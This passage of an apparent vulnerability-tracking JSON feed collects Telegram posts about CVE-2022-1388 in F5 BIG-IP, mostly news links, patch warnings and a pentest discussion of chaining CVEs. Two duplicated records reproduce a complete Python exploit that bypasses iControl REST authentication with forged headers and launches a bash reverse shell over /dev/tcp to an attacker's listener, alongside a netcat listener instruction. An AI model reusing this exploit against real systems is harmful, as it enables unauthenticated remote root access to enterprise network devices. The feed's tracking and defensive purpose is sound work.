"2026-07-30T00:00:55.579979Z"}, {"uuid": "89b69b29-eb36-4206-88e3-18d276e417f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/reverseame/3302", "content": "Finding Something New About CVE-2022-1388 https://vulncheck.com/blog/new-cve-2022-1388", "creation_timestamp": "2026-07-30T00:02:30.866341Z"}, {"uuid": "3e678b36-a9b3-4a11-9fd3-333ce1eb7e71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/reverseame/2768", "content": "F5 BIG-IP Vulnerability (CVE-2022-1388) Exploited by BlackTech \u2013 JPCERT/CC Eyes https://blueteam.news/f5-big-ip-vulnerability-cve-2022-1388-exploited-by-blacktech-jpcert-cc-eyes", "creation_timestamp": "2026-07-30T00:02:34.654783Z"}, {"uuid": "38d8bf15-1cec-40fe-989e-e5e5d4fdc127", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/reverseame/2408", "content": "Vulnerability Analysis \u2013 CVE-2022-1388 https://www.randori.com/blog/vulnerability-analysis-cve-2022-1388/", "creation_timestamp": "2026-07-30T00:02:36.413609Z"}, {"uuid": "adfb08a1-c58d-4bb7-a38c-233ee2d3915e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/cissp/5787", "content": "#exploit\n1. CVE-2022-1388:\nBIG-IP F5 iControl REST vulnerability\nhttps://github.com/numanturle/CVE-2022-1388\n\n2. CVE-2022-1040:\nAuth bypass and RCE in webmin portal of Sophos Firewall\nhttps://github.com/cve-hunter/CVE-2022-1040-sophos-rce", "creation_timestamp": "2026-09-01T17:00:29.592792Z"}, {"uuid": "004a358b-57c5-4518-8d57-e3a8db9fe1ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/cissp/5776", "content": "WATCH OUT! F5 warns of a new critical BIG-IP remote code execution vulnerability (CVE-2022-1388) due to missing authentication checks that could allow attackers to gain control of affected systems.\n\nDetails: https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html", "creation_timestamp": "2026-09-01T17:00:29.820272Z"}, {"uuid": "3260d014-8517-499f-bb3a-200d73278028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "Telegram/cM227DVyGia-IhCb_dhSNoT4_7lvy6Nz1M7UPQD20JWnO-w", "content": "", "creation_timestamp": "2026-09-02T01:00:05.831487Z"}, {"uuid": "49040e3d-df2b-4430-84ea-6f2e49317f9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/181926", "content": "Is it helpful if your pentest report looks like when you stop ranking by CVSS and start reading it like an attacker\nhttps://www.reddit.com/r/Pentesting/comments/1ryfyrz/is_it_helpful_if_your_pentest_report_looks_like/\n\nSince there are issues attaching the CVE chaining image to the post., explaining it here... Real situation. Not hypothetical. Pentest report came back with these five CVEs: CVE-2024-24919 \u2014 Check Point VPN credential leak \u2014 CVSS 8.6 CVE-2022-1388 \u2014 F5 BIG-IP auth bypass \u2014 CVSS 9.8 CVE-2021-20016 \u2014 SonicWall SQL injection \u2014 CVSS 9.8 CVE-2023-20198 \u2014 Cisco IOS XE privilege escalation \u2014 CVSS 10.0 CVE-2023-28578 \u2014 Siemens SCALANCE memory corruption \u2014 CVSS 9.3 Team patched in CVSS order. The 10.0 first. Then the two 9.8s. Felt good. Sprint closed.\n The attacker used CVE-2024-24919. The 8.6. The one nobody rushed on. Because here is what the CVSS list does not show you.  CVE-2024-24919 leaks valid credentials from the Check Point VPN. Those credentials are exactly what CVE-2022-1388 needs to bypass F5 authentication. That bypass gives remote code execution , which is exactly what CVE-2021-20016 needs to pivot into the internal SonicWall.  From there CVE-2023-20198 is a single hop to full network control. Four CVEs. One chain.\n The entry point was the lowest score on the list. The 10.0 they patched first? Unreachable without the chain firing first.\n They patched the destination. Left the road open.\n For pentesters this is the actual conversation clients need to have. Not \"here are your critical CVEs.\"\n But \"here is the one CVE that if unpatched makes everything else reachable.\"  That is a completely different deliverable. And honestly clients act on it faster. Because it is one thing to hand someone a list of ten critical CVEs and watch their eyes glaze over. It is another thing entirely to say \"patch this one specific CVE this week and your attacker has no path in.\"  One CVE. One patch. Every route blocked. Question for the room: When you deliver a pentest report ,do your clients actually patch in the order you recommend, or do they go straight to the 9.8s regardless of what you tell them?    submitted by    /u/Silly_Stress4696  (https://www.reddit.com/user/Silly_Stress4696) \n [link] (https://i.redd.it/63tfd2oa53qg1)   [comments] (https://www.reddit.com/r/Pentesting/comments/1ryfyrz/is_it_helpful_if_your_pentest_report_looks_like/)", "creation_timestamp": "2026-09-01T20:00:12.343788Z"}, {"uuid": "4f2cfdd7-3e33-4b48-acc4-d36ea33d3832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/108895", "content": "CVE-2022\u20131388 BIG-IP RCE Hunt\nhttps://systemweakness.com/cve-2022-1388-big-ip-rce-hunt-c319f6678a42?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:55.131448Z"}, {"uuid": "7d14ec4f-8a5a-4f47-bb19-5b5b6da7e807", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/108897", "content": "BIG-IP is a type of computer system that helps manage and control the flow of information between different parts of a network. It acts\u2026Continue reading on System Weakness \u00bb (https://systemweakness.com/cve-2022-1388-big-ip-rce-hunt-c319f6678a42?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:55.179045Z"}, {"uuid": "366a55ab-4fcd-46a4-aa8b-80aee794421a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/52713", "content": "Black Hat Ethical Hacking\nExploits created for critical F5 BIG-IP flaw, install patch immediately\n\nExploits created for critical F5 BIG-IP flaw, install patch immediatelyPost Views: 4 \nPremium Content\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-2.png Subscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nSecurity researchers are warning F5 BIG-IP admins to immediately install the latest security updates after creating exploits for a recently disclosed critical CVE-2022-1388 remote code execution vulnerability.\nLast week, F5 disclosed a new critical remote code execution in BIG-IP networking devices tracked as CVE-2022-1388. This vulnerability affects the BIG-IP iControl REST authentication component and allows remote threat actors to bypass authentication and execute commands on the device with elevated privileges.\n\nAs F5 BIG-IP devices are commonly used in the enterprise, this vulnerability is a significant risk as it would allow threat actors to exploit the bug to gain initial access to networks and then spread laterally to other devices.\n\nThese types of attacks could be used to steal corporate data or deploy ransomware on all of the network\u2019s devices.\nSee Also: Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Exploits easily createdThis weekend, cybersecurity researchers from Horizon3 and Positive Technologies were both able to create exploits for the new F5 BIG-IP vulnerability. They warned that all admins should immediately update their devices as soon as possible due to the trivial nature of the exploit.\nThe new F5 RCE vulnerability, CVE-2022-1388, is trivial to exploit. We spent some time chasing unrelated diffs within the newest version, but @jameshorseman2 ultimately got first blood. We'll release a POC next week to give more time for orgs to patch.#f5 #CyberSecurity pic.twitter.com/O1SivUE4vA\n\n\u2014 Horizon3 Attack Team (@Horizon3Attack) May 6, 2022\n\ud83d\udd25 We have reproduced the fresh CVE-2022-1388 in F5's BIG-IP.\n\nSuccessful exploitation could lead to RCE from an unauthenticated user.\n\nPatch ASAP! pic.twitter.com/WjlWtTgSVz\n\n\u2014 PT SWARM (@ptswarm) May 7, 2022\nSee Also: Attackers Use Event Logs to Hide Fileless Malware Zach Hanley, Chief Attack Engineer at Horizon3, told BleepingComputer that it took them only two days to discover the exploit and expect threat actors to begin exploiting devices soon. \n\n\u201cGiven that the mitigations released by F5 for CVE-2022-1388 were a very large hint at where to look when reversing the application, we expect that threat actors may have also discovered the root cause as well,\u201d Hanley told BleepingComputer via email.\n\n\u201cIt took the Horizon3.ai attack team of two security researchers two days to track down the root cause, so we fully expect by end of next week that this will be taken advantage of by threat actors.\u201d\n\nHanley also warned that the impact of this exploit would be significant as it allows threat actors to gain root access to the devices, which hackers will use for initial access to the corporate networks.\n\n\u201cThe saving grace here is that this vulnerability only affects the management side of the device, which should not be exposed to the internet,\u201d continued Hanley.\n\nHowever, Rapid7 researcher Jacob Baines tweeted\u00a0that there are still 2,500 devices exposed to the Internet, making this a substantial risk to the enterprise.\n\nHorizon3 says they will be publicly releasing their proof-of-concept exploit this week to push organizations to patch their devices.\nSee Also: OSINT Tool: MOSINT Install security updates immediately[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:42.023361Z"}, {"uuid": "7afa0ef1-e38d-4c8d-90aa-1a15a9cc2136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/52773", "content": "Exploit Collector\nF5 BIG-IP Remote Code Execution\n\nhttps://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png \nF5 BIG-IP remote code execution proof of concept exploit that leverages the vulnerability identified in CVE-2022-1388.\n\nSHA-256 | 2c3224e25af9797e9d7139c7d759da88b2eae07b09d164c4bf3a7423cfb95c06\n\nDownload\n# F5 BIG-IP RCE exploitation (CVE-2022-1388)\n\nPOST (1): \n\nPOST /mgmt/tm/util/bash HTTP/1.1\nHost: \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:42.069544Z"}, {"uuid": "3d87a47b-77ac-4fbb-9245-a7a9f8836f8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/52813", "content": "Dark Reading: Attacks/Breaches\nHow to Check if Your F5 BIG-IP Device Is Vulnerable\n\nThis Tech Tip walks network administrators through the steps to address the latest critical remote code execution vulnerability (CVE-2022-1388) in F5's BIG-IP management interface.", "creation_timestamp": "2026-09-01T20:01:42.115405Z"}, {"uuid": "35372595-9e6a-4362-ae12-572e1c42fe5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/53217", "content": "Exploit Collector\nF5 BIG-IP 16.0.x Remote Code Execution\n\nhttps://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png \nF5 BIG-IP version 16.0.x remote code execution exploit.\n\nSHA-256 | f5638973e5c1c81d7b5bf21977de0671c9081697e4ab7ad0ccd0963b8abf883c\n\nDownload\n# Exploit Title: F5 BIG-IP 16.0.x - Remote Code Execution (RCE)\n# Exploit Author: Yesith Alvarez\n# Vendor Homepage: https://www.f5.com/products/big-ip-services\n# Version: 16.0.x \n# CVE : CVE-2022-1388\n\nfrom requests import Request, Session\nimport sys\nimport json\ndef title():\nprint('''\n\n_______      ________    ___   ___ ___  ___       __ ____   ___   ___ \n/ ____\\ \\    / /  ____|  |__ \\ / _ \\__ \\|__ \\     /_ |___ \\ / _ \\ / _ \\ \n| |     \\ \\  / /| |__ ______ ) | | | | ) |  ) |_____| | __) | (_) | (_) |\n| |      \\ \\/ / |  __|______/ /| | | |/ /  / /______| ||__ < > _ < > _ < \n| |____   \\  /  | |____    / /_| |_| / /_ / /_      | |___) | (_) | (_) |\n\\_____|   \\/   |______|  |____|\\___/____|____|     |_|____/ \\___/ \\___/ \nAuthor: Yesith Alvarez\nGithub: https://github.com/yealvarez\nLinkedin: https://www.linkedin.com/in/pentester-ethicalhacker/\n''') \n\ndef exploit(url, lhost, lport):\nurl = url + 'mgmt/tm/util/bash'\ndata = {\n\"command\":\"run\",\n\"utilCmdArgs\":\"-c 'bash -i >& /dev/tcp/\"+lhost+\"/\"+lport+\" 0>&1'\"\n\n}\nheaders = {\n'Authorization': 'Basic YWRtaW46', \n'Connection':'keep-alive, X-F5-Auth-Token',\n'X-F5-Auth-Token': '0'\n\n}\ns = Session()\nreq = Request('POST', url, json=data, headers=headers)\nprepped = req.prepare()\ndel prepped.headers['Content-Type']\nresp = s.send(prepped,\nverify=False,\ntimeout=15\n)\n#print(prepped.headers)\n#print(url)\n#print(resp.headers)\n#print(resp.json())\nprint(resp.status_code)\nif __name__ == '__main__':\ntitle()\nif(len(sys.argv) < 4):\nprint('[+] USAGE: python3 %s https://<target_url lhost lport\\n'%(sys.argv[0]))\nprint('[+] USAGE: python3 %s https://192.168.0.10 192.168.0.11 4444\\n'%(sys.argv[0]))\nprint('[+] Do not forget to run the listener: nc -lvp 4444\\n')\nexit(0)\nelse:\nexploit(sys.argv[1],sys.argv[2],sys.argv[3])\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:41.166166Z"}, {"uuid": "daee186c-f81c-4dda-a628-206848877cce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/52687", "content": "hacking: security in practice\nCVE-2022-1388: F5 Big-IP iControl REST Vulnerability Updates. Allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services.\n\nhttps://external-preview.redd.it/kGBa_VlxzlNMqNBs_5DoTOs2ZG-DvclbNjc0TwlwQW8.jpg?width=640&crop=smart&auto=webp&s=da51bb7b003631bb7c5f76dce6098dbc085df1f3 submitted by /u/Late_Ice_9288 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:42.270363Z"}, {"uuid": "1b603864-98a1-461e-8447-2abf43e87fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/181926", "content": "Is it helpful if your pentest report looks like when you stop ranking by CVSS and start reading it like an attacker\nhttps://www.reddit.com/r/Pentesting/comments/1ryfyrz/is_it_helpful_if_your_pentest_report_looks_like/\n\nSince there are issues attaching the CVE chaining image to the post., explaining it here... Real situation. Not hypothetical. Pentest report came back with these five CVEs: CVE-2024-24919 \u2014 Check Point VPN credential leak \u2014 CVSS 8.6 CVE-2022-1388 \u2014 F5 BIG-IP auth bypass \u2014 CVSS 9.8 CVE-2021-20016 \u2014 SonicWall SQL injection \u2014 CVSS 9.8 CVE-2023-20198 \u2014 Cisco IOS XE privilege escalation \u2014 CVSS 10.0 CVE-2023-28578 \u2014 Siemens SCALANCE memory corruption \u2014 CVSS 9.3 Team patched in CVSS order. The 10.0 first. Then the two 9.8s. Felt good. Sprint closed.\n The attacker used CVE-2024-24919. The 8.6. The one nobody rushed on. Because here is what the CVSS list does not show you.  CVE-2024-24919 leaks valid credentials from the Check Point VPN. Those credentials are exactly what CVE-2022-1388 needs to bypass F5 authentication. That bypass gives remote code execution , which is exactly what CVE-2021-20016 needs to pivot into the internal SonicWall.  From there CVE-2023-20198 is a single hop to full network control. Four CVEs. One chain.\n The entry point was the lowest score on the list. The 10.0 they patched first? Unreachable without the chain firing first.\n They patched the destination. Left the road open.\n For pentesters this is the actual conversation clients need to have. Not \"here are your critical CVEs.\"\n But \"here is the one CVE that if unpatched makes everything else reachable.\"  That is a completely different deliverable. And honestly clients act on it faster. Because it is one thing to hand someone a list of ten critical CVEs and watch their eyes glaze over. It is another thing entirely to say \"patch this one specific CVE this week and your attacker has no path in.\"  One CVE. One patch. Every route blocked. Question for the room: When you deliver a pentest report ,do your clients actually patch in the order you recommend, or do they go straight to the 9.8s regardless of what you tell them?    submitted by    /u/Silly_Stress4696  (https://www.reddit.com/user/Silly_Stress4696) \n [link] (https://i.redd.it/63tfd2oa53qg1)   [comments] (https://www.reddit.com/r/Pentesting/comments/1ryfyrz/is_it_helpful_if_your_pentest_report_looks_like/)", "creation_timestamp": "2026-09-02T01:00:28.871230Z"}, {"uuid": "87ed059e-5761-472c-bfa5-eb257766423c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/108895", "content": "CVE-2022\u20131388 BIG-IP RCE Hunt\nhttps://systemweakness.com/cve-2022-1388-big-ip-rce-hunt-c319f6678a42?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:01:15.737460Z"}, {"uuid": "fdccb313-08a3-4924-b587-e21f2f874149", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/108897", "content": "BIG-IP is a type of computer system that helps manage and control the flow of information between different parts of a network. It acts\u2026Continue reading on System Weakness \u00bb (https://systemweakness.com/cve-2022-1388-big-ip-rce-hunt-c319f6678a42?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:01:15.777829Z"}, {"uuid": "4a2cd3b8-c29a-4e6d-8fde-6aa24ed17383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/52813", "content": "Dark Reading: Attacks/Breaches\nHow to Check if Your F5 BIG-IP Device Is Vulnerable\n\nThis Tech Tip walks network administrators through the steps to address the latest critical remote code execution vulnerability (CVE-2022-1388) in F5's BIG-IP management interface.", "creation_timestamp": "2026-09-02T01:01:53.807876Z"}, {"uuid": "8e80245f-ee59-4ad8-9056-1b2852397127", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/52713", "content": "Black Hat Ethical Hacking\nExploits created for critical F5 BIG-IP flaw, install patch immediately\n\nExploits created for critical F5 BIG-IP flaw, install patch immediatelyPost Views: 4 \nPremium Content\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-2.png Subscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nSecurity researchers are warning F5 BIG-IP admins to immediately install the latest security updates after creating exploits for a recently disclosed critical CVE-2022-1388 remote code execution vulnerability.\nLast week, F5 disclosed a new critical remote code execution in BIG-IP networking devices tracked as CVE-2022-1388. This vulnerability affects the BIG-IP iControl REST authentication component and allows remote threat actors to bypass authentication and execute commands on the device with elevated privileges.\n\nAs F5 BIG-IP devices are commonly used in the enterprise, this vulnerability is a significant risk as it would allow threat actors to exploit the bug to gain initial access to networks and then spread laterally to other devices.\n\nThese types of attacks could be used to steal corporate data or deploy ransomware on all of the network\u2019s devices.\nSee Also: Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Exploits easily createdThis weekend, cybersecurity researchers from Horizon3 and Positive Technologies were both able to create exploits for the new F5 BIG-IP vulnerability. They warned that all admins should immediately update their devices as soon as possible due to the trivial nature of the exploit.\nThe new F5 RCE vulnerability, CVE-2022-1388, is trivial to exploit. We spent some time chasing unrelated diffs within the newest version, but @jameshorseman2 ultimately got first blood. We'll release a POC next week to give more time for orgs to patch.#f5 #CyberSecurity pic.twitter.com/O1SivUE4vA\n\n\u2014 Horizon3 Attack Team (@Horizon3Attack) May 6, 2022\n\ud83d\udd25 We have reproduced the fresh CVE-2022-1388 in F5's BIG-IP.\n\nSuccessful exploitation could lead to RCE from an unauthenticated user.\n\nPatch ASAP! pic.twitter.com/WjlWtTgSVz\n\n\u2014 PT SWARM (@ptswarm) May 7, 2022\nSee Also: Attackers Use Event Logs to Hide Fileless Malware Zach Hanley, Chief Attack Engineer at Horizon3, told BleepingComputer that it took them only two days to discover the exploit and expect threat actors to begin exploiting devices soon. \n\n\u201cGiven that the mitigations released by F5 for CVE-2022-1388 were a very large hint at where to look when reversing the application, we expect that threat actors may have also discovered the root cause as well,\u201d Hanley told BleepingComputer via email.\n\n\u201cIt took the Horizon3.ai attack team of two security researchers two days to track down the root cause, so we fully expect by end of next week that this will be taken advantage of by threat actors.\u201d\n\nHanley also warned that the impact of this exploit would be significant as it allows threat actors to gain root access to the devices, which hackers will use for initial access to the corporate networks.\n\n\u201cThe saving grace here is that this vulnerability only affects the management side of the device, which should not be exposed to the internet,\u201d continued Hanley.\n\nHowever, Rapid7 researcher Jacob Baines tweeted\u00a0that there are still 2,500 devices exposed to the Internet, making this a substantial risk to the enterprise.\n\nHorizon3 says they will be publicly releasing their proof-of-concept exploit this week to push organizations to patch their devices.\nSee Also: OSINT Tool: MOSINT Install security updates immediately[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:53.684079Z"}, {"uuid": "2154f219-8654-44c2-98b0-87fba66e8ff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/52773", "content": "Exploit Collector\nF5 BIG-IP Remote Code Execution\n\nhttps://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png \nF5 BIG-IP remote code execution proof of concept exploit that leverages the vulnerability identified in CVE-2022-1388.\n\nSHA-256 | 2c3224e25af9797e9d7139c7d759da88b2eae07b09d164c4bf3a7423cfb95c06\n\nDownload\n# F5 BIG-IP RCE exploitation (CVE-2022-1388)\n\nPOST (1): \n\nPOST /mgmt/tm/util/bash HTTP/1.1\nHost: \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:53.742122Z"}, {"uuid": "158781da-a2e2-4f0e-b0f2-352ce758bf24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/53217", "content": "Exploit Collector\nF5 BIG-IP 16.0.x Remote Code Execution\n\nhttps://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png \nF5 BIG-IP version 16.0.x remote code execution exploit.\n\nSHA-256 | f5638973e5c1c81d7b5bf21977de0671c9081697e4ab7ad0ccd0963b8abf883c\n\nDownload\n# Exploit Title: F5 BIG-IP 16.0.x - Remote Code Execution (RCE)\n# Exploit Author: Yesith Alvarez\n# Vendor Homepage: https://www.f5.com/products/big-ip-services\n# Version: 16.0.x \n# CVE : CVE-2022-1388\n\nfrom requests import Request, Session\nimport sys\nimport json\ndef title():\nprint('''\n\n_______      ________    ___   ___ ___  ___       __ ____   ___   ___ \n/ ____\\ \\    / /  ____|  |__ \\ / _ \\__ \\|__ \\     /_ |___ \\ / _ \\ / _ \\ \n| |     \\ \\  / /| |__ ______ ) | | | | ) |  ) |_____| | __) | (_) | (_) |\n| |      \\ \\/ / |  __|______/ /| | | |/ /  / /______| ||__ < > _ < > _ < \n| |____   \\  /  | |____    / /_| |_| / /_ / /_      | |___) | (_) | (_) |\n\\_____|   \\/   |______|  |____|\\___/____|____|     |_|____/ \\___/ \\___/ \nAuthor: Yesith Alvarez\nGithub: https://github.com/yealvarez\nLinkedin: https://www.linkedin.com/in/pentester-ethicalhacker/\n''') \n\ndef exploit(url, lhost, lport):\nurl = url + 'mgmt/tm/util/bash'\ndata = {\n\"command\":\"run\",\n\"utilCmdArgs\":\"-c 'bash -i >& /dev/tcp/\"+lhost+\"/\"+lport+\" 0>&1'\"\n\n}\nheaders = {\n'Authorization': 'Basic YWRtaW46', \n'Connection':'keep-alive, X-F5-Auth-Token',\n'X-F5-Auth-Token': '0'\n\n}\ns = Session()\nreq = Request('POST', url, json=data, headers=headers)\nprepped = req.prepare()\ndel prepped.headers['Content-Type']\nresp = s.send(prepped,\nverify=False,\ntimeout=15\n)\n#print(prepped.headers)\n#print(url)\n#print(resp.headers)\n#print(resp.json())\nprint(resp.status_code)\nif __name__ == '__main__':\ntitle()\nif(len(sys.argv) < 4):\nprint('[+] USAGE: python3 %s https://<target_url lhost lport\\n'%(sys.argv[0]))\nprint('[+] USAGE: python3 %s https://192.168.0.10 192.168.0.11 4444\\n'%(sys.argv[0]))\nprint('[+] Do not forget to run the listener: nc -lvp 4444\\n')\nexit(0)\nelse:\nexploit(sys.argv[1],sys.argv[2],sys.argv[3])\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:50.898813Z"}, {"uuid": "46dece07-4b73-409c-bfac-ee7c7c766829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/52687", "content": "hacking: security in practice\nCVE-2022-1388: F5 Big-IP iControl REST Vulnerability Updates. Allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services.\n\nhttps://external-preview.redd.it/kGBa_VlxzlNMqNBs_5DoTOs2ZG-DvclbNjc0TwlwQW8.jpg?width=640&crop=smart&auto=webp&s=da51bb7b003631bb7c5f76dce6098dbc085df1f3 submitted by /u/Late_Ice_9288 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:53.944325Z"}, {"uuid": "4f31df89-cada-4c82-a0d9-12b9208b5ee9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/cissp/5776", "content": "WATCH OUT! F5 warns of a new critical BIG-IP remote code execution vulnerability (CVE-2022-1388) due to missing authentication checks that could allow attackers to gain control of affected systems.\n\nDetails: https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html", "creation_timestamp": "2026-09-02T01:04:12.799866Z"}, {"uuid": "0d542272-a2a3-4b4e-bc93-3bb6e35bb0f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/cissp/5787", "content": "#exploit\n1. CVE-2022-1388:\nBIG-IP F5 iControl REST vulnerability\nhttps://github.com/numanturle/CVE-2022-1388\n\n2. CVE-2022-1040:\nAuth bypass and RCE in webmin portal of Sophos Firewall\nhttps://github.com/cve-hunter/CVE-2022-1040-sophos-rce", "creation_timestamp": "2026-09-02T01:04:12.553698Z"}, {"uuid": "b0b58a6d-812e-4369-ac32-d71c7ebd9fa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/181926", "content": "Is it helpful if your pentest report looks like when you stop ranking by CVSS and start reading it like an attacker\nhttps://www.reddit.com/r/Pentesting/comments/1ryfyrz/is_it_helpful_if_your_pentest_report_looks_like/\n\nSince there are issues attaching the CVE chaining image to the post., explaining it here... Real situation. Not hypothetical. Pentest report came back with these five CVEs: CVE-2024-24919 \u2014 Check Point VPN credential leak \u2014 CVSS 8.6 